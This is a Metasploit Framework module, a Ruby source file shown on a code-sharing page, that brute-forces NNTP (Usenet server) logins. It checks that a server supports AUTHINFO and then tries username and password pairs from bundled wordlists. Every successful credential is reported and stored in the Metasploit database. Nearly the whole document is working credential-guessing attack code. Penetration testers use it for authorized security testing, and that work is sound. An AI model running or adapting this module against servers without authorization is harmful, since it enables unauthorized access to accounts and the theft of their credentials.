Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/nntp/nntp_login.rb
28052 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Auxiliary::AuthBrute
9
include Msf::Auxiliary::Scanner
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'NNTP Login Utility',
17
'Description' => %q{
18
This module attempts to authenticate to NNTP services
19
which support the AUTHINFO authentication extension.
20
21
This module supports AUTHINFO USER/PASS authentication,
22
but does not support AUTHINFO GENERIC or AUTHINFO SASL
23
authentication methods.
24
},
25
'Author' => 'bcoles',
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'CVE', '1999-0502' ], # Weak password
29
[ 'URL', 'https://datatracker.ietf.org/doc/html/rfc3977' ],
30
[ 'URL', 'https://datatracker.ietf.org/doc/html/rfc4642' ],
31
[ 'URL', 'https://datatracker.ietf.org/doc/html/rfc4643' ]
32
],
33
'Notes' => {
34
'Reliability' => UNKNOWN_RELIABILITY,
35
'Stability' => UNKNOWN_STABILITY,
36
'SideEffects' => UNKNOWN_SIDE_EFFECTS
37
}
38
)
39
)
40
register_options(
41
[
42
Opt::RPORT(119),
43
OptPath.new('USER_FILE', [
44
false, 'The file that contains a list of probable usernames.',
45
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
46
]),
47
OptPath.new('PASS_FILE', [
48
false, 'The file that contains a list of probable passwords.',
49
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
50
])
51
]
52
)
53
end
54
55
def run_host(ip)
56
begin
57
connect
58
return :abort unless nntp?
59
return :abort unless supports_authinfo?
60
61
report_service :host => rhost,
62
:port => rport,
63
:proto => 'tcp',
64
:name => 'nntp'
65
disconnect
66
67
each_user_pass { |user, pass| do_login user, pass }
68
rescue ::Interrupt
69
raise $ERROR_INFO
70
rescue EOFError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
71
print_error "#{peer} Connection failed"
72
return
73
rescue OpenSSL::SSL::SSLError => e
74
print_error "SSL negotiation failed: #{e}"
75
rescue => e
76
print_error "#{peer} Error: #{e.class} #{e} #{e.backtrace}"
77
return
78
ensure
79
disconnect
80
end
81
end
82
83
def nntp?
84
banner = sock.get_once
85
86
if !banner
87
vprint_error "#{peer} No response"
88
return false
89
end
90
91
if banner !~ /^200/
92
print_error 'Unexpected reply'
93
return false
94
end
95
96
vprint_status 'Server is a NTTP server'
97
vprint_status "Banner: #{banner}"
98
true
99
end
100
101
def supports_authinfo?
102
sock.put "HELP\r\n"
103
res = sock.get(-1)
104
code = res.scan(/\A(\d+)\s/).flatten.first.to_i
105
106
if code.nil?
107
print_error 'Server is not a NNTP server'
108
return false
109
end
110
111
if code == 480
112
vprint_warning 'Authentication is required before listing authentication capabilities.'
113
return true
114
end
115
116
if code == 100 && res =~ /authinfo/i
117
vprint_status 'Server supports AUTHINFO'
118
return true
119
end
120
121
print_error 'Server does not support AUTHINFO'
122
false
123
end
124
125
def do_login(user, pass)
126
vprint_status "Trying username:'#{user}' with password:'#{pass}'"
127
128
begin
129
connect
130
sock.get_once
131
132
sock.put "AUTHINFO USER #{user}\r\n"
133
res = sock.get_once
134
unless res
135
vprint_error "#{peer} No response"
136
return :abort
137
end
138
139
code = res.scan(/\A(\d+)\s/).flatten.first.to_i
140
if code != 381
141
vprint_error "#{peer} Unexpected reply. Skipping user..."
142
return :skip_user
143
end
144
145
sock.put "AUTHINFO PASS #{pass}\r\n"
146
res = sock.get_once
147
unless res
148
vprint_error "#{peer} No response"
149
return :abort
150
end
151
152
code = res.scan(/\A(\d+)\s/).flatten.first.to_i
153
if code == 452 || code == 481
154
vprint_error "#{peer} Login failed"
155
return
156
elsif code == 281
157
print_good "#{peer} Successful login with: '#{user}' : '#{pass}'"
158
report_cred ip: rhost,
159
port: rport,
160
service_name: 'nntp',
161
user: user,
162
password: pass,
163
proof: code.to_s
164
return :next_user
165
else
166
vprint_error "#{peer} Failed login as: '#{user}' - Unexpected reply: #{res.inspect}"
167
return
168
end
169
rescue EOFError, ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
170
print_error 'Connection failed'
171
return
172
rescue OpenSSL::SSL::SSLError => e
173
print_error "SSL negotiation failed: #{e}"
174
return :abort
175
end
176
rescue => e
177
print_error "Error: #{e}"
178
return nil
179
ensure
180
disconnect
181
end
182
183
def report_cred(opts)
184
service_data = {
185
address: opts[:ip],
186
port: opts[:port],
187
service_name: opts[:service_name],
188
protocol: 'tcp',
189
workspace_id: myworkspace_id
190
}
191
192
credential_data = {
193
origin_type: :service,
194
module_fullname: fullname,
195
username: opts[:user],
196
private_data: opts[:password],
197
private_type: :password
198
}.merge service_data
199
200
login_data = {
201
last_attempted_at: DateTime.now,
202
core: create_credential(credential_data),
203
status: Metasploit::Model::Login::Status::SUCCESSFUL,
204
proof: opts[:proof]
205
}.merge service_data
206
207
create_credential_login login_data
208
end
209
end
210
211